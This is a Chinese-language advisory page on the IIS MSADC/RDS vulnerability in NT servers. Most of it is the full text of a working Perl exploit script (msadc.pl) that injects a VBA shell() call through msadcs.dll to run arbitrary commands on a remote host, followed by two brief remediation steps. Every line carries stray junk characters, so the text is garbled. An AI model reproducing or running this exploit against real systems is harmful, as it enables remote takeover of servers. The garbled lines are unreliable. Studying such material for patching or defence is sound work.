IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
JchSMc.9 ;| 1$Q!4 涉及程序:
<tioJG{OT Microsoft NT server
O#I1V K Sfdu`MQR 描述:
3po:xMY 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
IsR!'%Pu 5eWwgA 详细:
}l=xiAF 如果你没有时间读详细内容的话,就删除:
"yW:\ c:\Program Files\Common Files\System\Msadc\msadcs.dll
7%sdtunf` 有关的安全问题就没有了。
n0is\ZK 0 m)oJFF 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
^Ox3XC zl`h~}I 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
8g7<KKw 关于利用ODBC远程漏洞的描述,请参看:
-44l^}_u j)q\9#sI/( http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm {p,]oOq\ NF?
vg/{ 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
{AQ=<RDRF http://www.microsoft.com/security/bulletins/MS99-025faq.asp Rn@#d} ]LM-@G+Jz 这里不再论述。
#Skv(IL M'/aZ#
b 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
{26ONa#i Q`D_|L /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
~zw]5| 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
9+pmS#>_ A=
w9V Nv"EV;$ #将下面这段保存为txt文件,然后: "perl -x 文件名"
)RcL/n yxc=Z0~1 #!perl
V(E/'DR #
$.bBFWk # MSADC/RDS 'usage' (aka exploit) script
9H%X2#:fH #
&y#r;L<9 # by rain.forest.puppy
VJS8)oI~ #
+$Rt+S BD # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
I"`M@ % # beta test and find errors!
9VbOQ {8 /Ju;MeE9 use Socket; use Getopt::Std;
t2"FXTAq getopts("e:vd:h:XR", \%args);
y a_<^O
9 nqf,4MR print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Ot`VR&} 7sXxq4 if (!defined $args{h} && !defined $args{R}) {
3*@5S]] print qq~
!* OJ.W& Usage: msadc.pl -h <host> { -d <delay> -X -v }
}-@`9(o`) -h <host> = host you want to scan (ip or domain)
iya"ky~H -d <seconds> = delay between calls, default 1 second
*<!oHEwkN -X = dump Index Server path table, if available
!Xph_SQ!B= -v = verbose
B2O} 1. -e = external dictionary file for step 5
plZ>03(6Q wKsT7c' Or a -R will resume a command session
ki)#d'
} w[ ~#av9 ~; exit;}
uDZT_c'Y Rx+p. $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
k]I0o)+O. if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
RH|XxH* if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
[2Ud]l:6E if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
;{[.Zu $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
-(b kr+N if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
<Z/x,-^*< r4#o+qE if (!defined $args{R}){ $ret = &has_msadc;
p"U,G
-_ die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
yR\btx|e5~ S1?-I_t+] print "Please type the NT commandline you want to run (cmd /c assumed):\n"
G2FXrkU . "cmd /c ";
J^g!++|2P $in=<STDIN>; chomp $in;
|.3DD"* $command="cmd /c " . $in ;
S)/_muP &sd}ulEg` if (defined $args{R}) {&load; exit;}
G}G#i`6o j.@\3' print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
,#kIr &try_btcustmr;
pt}X>ph{ wLH] <k print "\nStep 2: Trying to make our own DSN...";
nxl[d\ap+n &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
10U9ZC Qg<(u?7N print "\nStep 3: Trying known DSNs...";
.?hP7;hhI &known_dsn;
1&U>,;]* $-*!pRaVU print "\nStep 4: Trying known .mdbs...";
"%x<ttLl &known_mdb;
h?azFA~ AoI/n4T^ if (defined $args{e}){
xoR;=ph print "\nStep 5: Trying dictionary of DSN names...";
bv*,#Qm &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
aVd,xl :]1TGfS print "Sorry Charley...maybe next time?\n";
2Roc|)-47 exit;
,YMp<C aT$9; ##############################################################################
Xqm::1(-( .>IhN 5 sub sendraw { # ripped and modded from whisker
MHC^8VL sleep($delay); # it's a DoS on the server! At least on mine...
wg]j+r@ my ($pstr)=@_;
!U~WK$BP socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
$
<#KA3o\ die("Socket problems\n");
8M`#pN^ if(connect(S,pack "SnA4x8",2,80,$target)){
HF.^ysI select(S); $|=1;
82DmG@"s2 print $pstr; my @in=<S>;
({=gw9f select(STDOUT); close(S);
;/rXQe1 return @in;
I}vmU^Y> } else { die("Can't connect...\n"); }}
9,r rQQD_ BV[ 5} ##############################################################################
w&KK3*="" n .RhxgC< sub make_header { # make the HTTP request
;{%\9nS my $msadc=<<EOT
{b
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
~Wa6J4B{K User-Agent: ACTIVEDATA
_n` a`2C|m Host: $ip
)6J9J+%bi Content-Length: $clen
6ZQwBS0Y Connection: Keep-Alive
a0ObBe' ;{"+g)u ADCClientVersion:01.06
UTH_^HAN#G Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Sh8"F@P8 d|yAs5@ --!ADM!ROX!YOUR!WORLD!
}-6)gWe Content-Type: application/x-varg
}-sdov<< Content-Length: $reqlen
+qwjbA+ jWE:ek* EOT
TTTPxO, ; $msadc=~s/\n/\r\n/g;
?CA, return $msadc;}
cu/5$m?xx 9*1,!%] ##############################################################################
/Dj=iBO 8!Ww J
Oe sub make_req { # make the RDS request
7F{3*`/6 my ($switch, $p1, $p2)=@_;
'5|h)Q5 my $req=""; my $t1, $t2, $query, $dsn;
`p;I} 9Q+'n$s0^ if ($switch==1){ # this is the btcustmr.mdb query
la+[bm<v $query="Select * from Customers where City=" . make_shell();
9AJ7h9L $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
y`XU~B)J1 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
O6G0 )(384@'"u elsif ($switch==2){ # this is general make table query
I]EbodAyZ, $query="create table AZZ (B int, C varchar(10))";
07^iP>? $dsn="$p1";}
C
.~+*"Vw ^i}
L-QR elsif ($switch==3){ # this is general exploit table query
#Ibp( $query="select * from AZZ where C=" . make_shell();
2P@sn!*{1 $dsn="$p1";}
e8#h3lxJ` Yd~X77cv elsif ($switch==4){ # attempt to hork file info from index server
cj'}4( $query="select path from scope()";
Y*vW!yu $dsn="Provider=MSIDXS;";}
Ot6aRk pv Gf\pu elsif ($switch==5){ # bad query
+y3%3EKs1~ $query="select";
aN8|J?JH $dsn="$p1";}
ZGKu>yM q;][5 $t1= make_unicode($query);
:dQ B R $t2= make_unicode($dsn);
G%W8S
\ $req = "\x02\x00\x03\x00";
/Y7<5!cS $req.= "\x08\x00" . pack ("S1", length($t1));
PU^l. $req.= "\x00\x00" . $t1 ;
--c"0,7 $req.= "\x08\x00" . pack ("S1", length($t2));
$NZ-{dY{ $req.= "\x00\x00" . $t2 ;
B2'i7Ps $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
EKsT~SS return $req;}
tE`u(B, #T=LR@y ##############################################################################
&bfA.&
` &-B^~M*?? sub make_shell { # this makes the shell() statement
m4l&
eEp return "'|shell(\"$command\")|'";}
WL?\5?G9l Bx4w)9+3 ##############################################################################
U_n9]Z ([m
mPyp>L sub make_unicode { # quick little function to convert to unicode
Lja>8m my ($in)=@_; my $out;
xY^%&n for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
75/(??2 return $out;}
f m)pulz jT]0WS-b ##############################################################################
:6 Lx@ &N\jG373 sub rdo_success { # checks for RDO return success (this is kludge)
qfMo7e@6* my (@in) = @_; my $base=content_start(@in);
E4~<V=2l if($in[$base]=~/multipart\/mixed/){
l^pA2yh| return 1 if( $in[$base+10]=~/^\x09\x00/ );}
5a|w+HO, return 0;}
z;|A(*Y rFj-kojg ##############################################################################
vPTM t7j);W%e6 sub make_dsn { # this makes a DSN for us
+oovx2r& my @drives=("c","d","e","f");
#x 177I\ print "\nMaking DSN: ";
ASk|A! foreach $drive (@drives) {
|n,<1QY print "$drive: ";
iA' lon my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
)\J+Kiy) "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
\b?" b . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
@W[f1 $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
rPLm5ni return 0 if $2 eq "404"; # not found/doesn't exist
rLI8pA|. if($2 eq "200") {
opy("qH foreach $line (@results) {
Y6zbo return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
I J( } return 0;}
<~n"m @oV9) ##############################################################################
<FcG
oGK Wp!%-vzy& sub verify_exists {
XH}\15X my ($page)=@_;
H<v'^*( my @results=sendraw("GET $page HTTP/1.0\n\n");
q*F{/N** return $results[0];}
dRj| g LV\DBDM ##############################################################################
d]:I(9K w8kOVN2b sub try_btcustmr {
-R57@D>j\ my @drives=("c","d","e","f");
Fy`(BF\ my @dirs=("winnt","winnt35","winnt351","win","windows");
iz8Bf; ~i~7na| foreach $dir (@dirs) {
E=e*VEjy print "$dir -> "; # fun status so you can see progress
l^|UCgRn foreach $drive (@drives) {
Sz^
veh? print "$drive: "; # ditto
R%Q@ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
b~'"^ Bts* $reqlenlen=length( "$reqlen" );
V,q](bg $clen= 206 + $reqlenlen + $reqlen;
Pa{%\dsv BFL`!^ my @results=sendraw(make_header() . make_req(1,$drive,$dir));
uT}' Y)m if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
5]n[]FW else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
S`#w+C#EW -j73Wz ##############################################################################
G]+&!4 k`0>36 sub odbc_error {
A%`[mc]4# my (@in)=@_; my $base;
V'kX)$ my $base = content_start(@in);
zUKmx y@ if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
G'6@+$ppS $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Qp/QaVQ+ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Tav*+ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
H*[M\gN$ return $in[$base+4].$in[$base+5].$in[$base+6];}
X:6c}p%,! print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
``ou/Z print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
JBJhG<J $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
ft$RSb# KVD8YfF ##############################################################################
=&,]Z6{> D@Vt^_ sub verbose {
kuol rfGB my ($in)=@_;
;?8_G%va return if !$verbose;
tS|(K=$
print STDOUT "\n$in\n";}
xYmxc9)2 ,=Mt`aN ##############################################################################
kO|L bQ@=q oW<5|FaN sub save {
:/Q my ($p1, $p2, $p3, $p4)=@_;
\~fONBY open(OUT, ">rds.save") || print "Problem saving parameters...\n";
rcMwFE?|xq print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
+n#V[~~8AI close OUT;}
%kdEun $Hj.{;eC/k ##############################################################################
G*-b}f T;,cN7>>O sub load {
kdl:Wt*4o my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
SzjkI+-$: open(IN,"<rds.save") || die("Couldn't open rds.save\n");
s (zL @p=<IN>; close(IN);
gREzZ+([ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
+xrr?g $target= inet_aton($ip) || die("inet_aton problems");
f ` R/
i print "Resuming to $ip ...";
S,Xnzrz $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
?)u@Rf9> if($p[1]==1) {
dYL"h.x $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
qNYN-f~@, $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
4"(<X my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
<$X3Hye if (rdo_success(@results)){print "Success!\n";}
BZR:OtR^ else { print "failed\n"; verbose(odbc_error(@results));}}
nPye,"A Ol elsif ($p[1]==3){
O*0l+mop if(run_query("$p[3]")){
YhDtUt}? print "Success!\n";} else { print "failed\n"; }}
8=gjY\Dp elsif ($p[1]==4){
W3 'q\+ if(run_query($drvst . "$p[3]")){
zxC#0@qX07 print "Success!\n"; } else { print "failed\n"; }}
E;+O($bA exit;}
UazP6^{L jV4\A
##############################################################################
:E:38q,hG (H
->IV sub create_table {
C!fMW+C@ my ($in)=@_;
BFo5\l:q8 $reqlen=length( make_req(2,$in,"") ) - 28;
/7}It$|nhy $reqlenlen=length( "$reqlen" );
[[;e)SoA $clen= 206 + $reqlenlen + $reqlen;
T~Gvp0r}h my @results=sendraw(make_header() . make_req(2,$in,""));
k}
| return 1 if rdo_success(@results);
#MRMNL@ my $temp= odbc_error(@results); verbose($temp);
%`&2+\` return 1 if $temp=~/Table 'AZZ' already exists/;
,M^ P! return 0;}
l]8D7(g @JyK|.b#0 ##############################################################################
vSi.txV2 v"#mzd.tW sub known_dsn {
X22[tqg;& # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
c.>oe*+ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
:TJv=T'p' "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
0cJWJOj& "banner", "banners", "ads", "ADCDemo", "ADCTest");
yuat" Pg @te!Jgu{ foreach $dSn (@dsns) {
.=X}cJ]`[ print ".";
EUN81F? next if (!is_access("DSN=$dSn"));
$shoasSuI if(create_table("DSN=$dSn")){
.6`9H 1 print "$dSn successful\n";
&(xH$htv1 if(run_query("DSN=$dSn")){
(X?%^^e! print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
4}4Pyjh print "Something's borked. Use verbose next time\n";}}} print "\n";}
0@H|n^Md# &NH$nY.r ##############################################################################
NiU2@zgl (Q.waI sub is_access {
T>R0T{A my ($in)=@_;
ha(Z< $reqlen=length( make_req(5,$in,"") ) - 28;
.y@oz7T5 $reqlenlen=length( "$reqlen" );
YKO){f5 $clen= 206 + $reqlenlen + $reqlen;
;#oie<
Vit my @results=sendraw(make_header() . make_req(5,$in,""));
L5
veX} my $temp= odbc_error(@results);
%*`J k#W: verbose($temp); return 1 if ($temp=~/Microsoft Access/);
:=wTvz return 0;}
}j*KcB_ N6 ( ##############################################################################
HN&Z2v FRg^c
kb" sub run_query {
l}]t~!X= my ($in)=@_;
>rJnayLF $reqlen=length( make_req(3,$in,"") ) - 28;
S$Q8>u6Wk $reqlenlen=length( "$reqlen" );
v?&
-xH-S $clen= 206 + $reqlenlen + $reqlen;
763v my @results=sendraw(make_header() . make_req(3,$in,""));
1oN^HG6O return 1 if rdo_success(@results);
ENGg
~D my $temp= odbc_error(@results); verbose($temp);
V>A.iim return 0;}
-Xxqm%([71 pXJpK@z ##############################################################################
{j:hod@-:5 W!?7D0q sub known_mdb {
PzA|t;* my @drives=("c","d","e","f","g");
~~SwCXZ+b^ my @dirs=("winnt","winnt35","winnt351","win","windows");
MD|5 ol9 my $dir, $drive, $mdb;
;S57w1PbVA my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
(&+kl q 0Sgaem` # this is sparse, because I don't know of many
Cb9;QzBVA# my @sysmdbs=( "\\catroot\\icatalog.mdb",
p' + "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
QrYpZZ; "\\system32\\certmdb.mdb",
*
v75O7l "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
{a4z2"\A YEj8S5"Su\ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
X!m9lV< "\\cfusion\\cfapps\\forums\\forums_.mdb",
U2ZD]q "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
\9/ b!A "\\cfusion\\cfapps\\security\\realm_.mdb",
Lz:(6`S "\\cfusion\\cfapps\\security\\data\\realm.mdb",
Yx eOI#L "\\cfusion\\database\\cfexamples.mdb",
~wJFa'2 "\\cfusion\\database\\cfsnippets.mdb",
8erSt!oM "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
>|twyb "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
't6V:X "\\cfusion\\brighttiger\\database\\cleam.mdb",
r9
!Tug*>m "\\cfusion\\database\\smpolicy.mdb",
,:Lb7bFv> "\\cfusion\\database\cypress.mdb",
[L:o`j "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
|=$-Wu "\\website\\cgi-win\\dbsample.mdb",
+eX@U;J,g "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
qeL5D* "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
V\^EfQ ); #these are just
.R9IL-3fO foreach $drive (@drives) {
[BT/~6ovrZ foreach $dir (@dirs){
Qt/8r*Oe foreach $mdb (@sysmdbs) {
qU#BJON]BR print ".";
3AsT if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
OujCb^Rm print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
D?0zhU if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
7LU}Iiv print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
\'CDRr"uw } else { print "Something's borked. Use verbose next time\n"; }}}}}
2EfF=Fm> S6AU[ASY. foreach $drive (@drives) {
;ByOth|9P foreach $mdb (@mdbs) {
/6h(6 *JI print ".";
CC@.MA@9N if(create_table($drv . $drive . $dir . $mdb)){
?_Q/}@` print "\n" . $drive . $dir . $mdb . " successful\n";
&9"-`-[e: if(run_query($drv . $drive . $dir . $mdb)){
}b0; 0j print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
<_XWWT% } else { print "Something's borked. Use verbose next time\n"; }}}}
9\]^|?zQ` }
IjR'Qou5 RW }"2 ##############################################################################
e}.^Tiwd] k31I ysh sub hork_idx {
5<ux6,E1{ print "\nAttempting to dump Index Server tables...\n";
j'BMAn ? print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
##EYH1P] $reqlen=length( make_req(4,"","") ) - 28;
hYM@?/(q $reqlenlen=length( "$reqlen" );
Xa[?^P $clen= 206 + $reqlenlen + $reqlen;
dVFf. my @results=sendraw2(make_header() . make_req(4,"",""));
ODC8D>ZYl if (rdo_success(@results)){
tX"Th'Qi my $max=@results; my $c; my %d;
,I_^IitN for($c=19; $c<$max; $c++){
Hf vTxaK $results[$c]=~s/\x00//g;
Ie4 hhW $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
HjGyj/78w $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
]f_6 '|5A $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
9>g, $d{"$1$2"}="";}
W"k8KODOY foreach $c (keys %d){ print "$c\n"; }
Ce")[<: } else {print "Index server doesn't seem to be installed.\n"; }}
y;AL'vm9 H03jDM8Q ##############################################################################
&ZX{R#[L 8kIR y sub dsn_dict {
=n'
4?W@ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
^-[ ?#] while(<IN>){
gW1b~(
fD $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
YcN!T"wJ@ next if (!is_access("DSN=$dSn"));
C,pJ`:P if(create_table("DSN=$dSn")){
'^FGc print "$dSn successful\n";
lME)?LOI if(run_query("DSN=$dSn")){
!Wy[).ZAf print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
O=dJi9;`#_ print "Something's borked. Use verbose next time\n";}}}
A6pjRxg print "\n"; close(IN);}
rJ!{/3e Kbb78S30 ##############################################################################
!\,kZ|#> ^=^z1M2P sub sendraw2 { # ripped and modded from whisker
k!KDWb
sleep($delay); # it's a DoS on the server! At least on mine...
-~QHqU. my ($pstr)=@_;
8-Hsgf.* socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
Z+StB15 die("Socket problems\n");
3:f[gV9K if(connect(S,pack "SnA4x8",2,80,$target)){
r@o6voX print "Connected. Getting data";
0`I-2M4F*Q open(OUT,">raw.out"); my @in;
DmBS0NyR7Y select(S); $|=1; print $pstr;
Z KOXI%~Mc while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
{vN}<f` close(OUT); select(STDOUT); close(S); return @in;
z8J."27ND } else { die("Can't connect...\n"); }}
3^Q]j^e4Ny ^+1#[E ##############################################################################
PGARXw+ F1Hh7
F sub content_start { # this will take in the server headers
1& '8Y my (@in)=@_; my $c;
WMBm6?54 for ($c=1;$c<500;$c++) {
`r_m+] if($in[$c] =~/^\x0d\x0a/){
k~|-gfFP if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
D Kw*~0 else { return $c+1; }}}
(} 5S return -1;} # it should never get here actually
h#hxOVl%x 5 XA=G ##############################################################################
]l(wg] 5&e<#" sub funky {
mnID3=JF my (@in)=@_; my $error=odbc_error(@in);
Y2[A2Uy$ef if($error=~/ADO could not find the specified provider/){
ZDC9oX @ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
J-<^P5 exit;}
BkZV!Eg if($error=~/A Handler is required/){
((^sDE6( print "\nServer has custom handler filters (they most likely are patched)\n";
JMS(9>+TA exit;}
s-7RW if($error=~/specified Handler has denied Access/){
=SAU4xjo print "\nServer has custom handler filters (they most likely are patched)\n";
80$fG8 exit;}}
V`-vR2( n?:= ##############################################################################
3J=Y9 } dna6QV>A sub has_msadc {
@Kgl%[NmX my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
_6Eu2|vM& my $base=content_start(@results);
7'-j%!#w return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
SgEBh return 0;}
tL+OCLF; : ~ A%# ########################
z 8*8OWM P\&! ] KHDZ 解决方案:
8p!*?RRme[ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
)kJH5/ 2、移除web 目录: /msadc